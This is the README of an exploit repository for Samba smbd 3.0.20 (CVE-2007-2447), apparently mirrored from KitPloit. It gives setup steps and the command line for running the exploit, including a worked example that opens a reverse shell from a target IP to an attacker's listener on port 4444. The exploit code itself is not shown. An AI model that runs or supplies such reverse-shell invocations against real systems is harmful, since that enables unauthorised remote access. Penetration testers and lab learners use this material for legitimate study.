CVE-2007-2447 Exploit

This repository contains an exploit for Samba smbd 3.0.20 (CVE-2007-2447) that allows remote command execution via crafted SMB requests.

Prerequisites

This exploit requires Python 3 and a few dependencies. It's recommended to set up a virtual environment before running the exploit.

Setting Up the Virtual Environment

1. Clone the repository:

   root@kitploit:~

   git clone https://github.com/your-repo/CVE-2007-2447.git
   cd CVE-2007-2447
   

2. Create a Python virtual environment:

   root@kitploit:~

   python3 -m venv smb_env
   source smb_env/bin/activate  # Linux/macOS
   

   (Windows users can activate using: smb_env\Scripts\activate)

3. Install required dependencies:

   root@kitploit:~

   pip install -r requirements.txt
   

Usage

Once the virtual environment is set up, you can execute the exploit using the following syntax:

python3 CVE-2007-2447.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>

Example Execution

python3 CVE-2007-2447.py -t 192.168.1.100 -a 192.168.1.50 -p 4444

• -t / --target: IP address of the target (victim) machine.
• -a / --attacker: IP address of the attacker's listener.
• -p / --port: Port to establish the reverse shell connection.

Deactivating the Virtual Environment

Once you’re done, deactivate the virtual environment using:

deactivate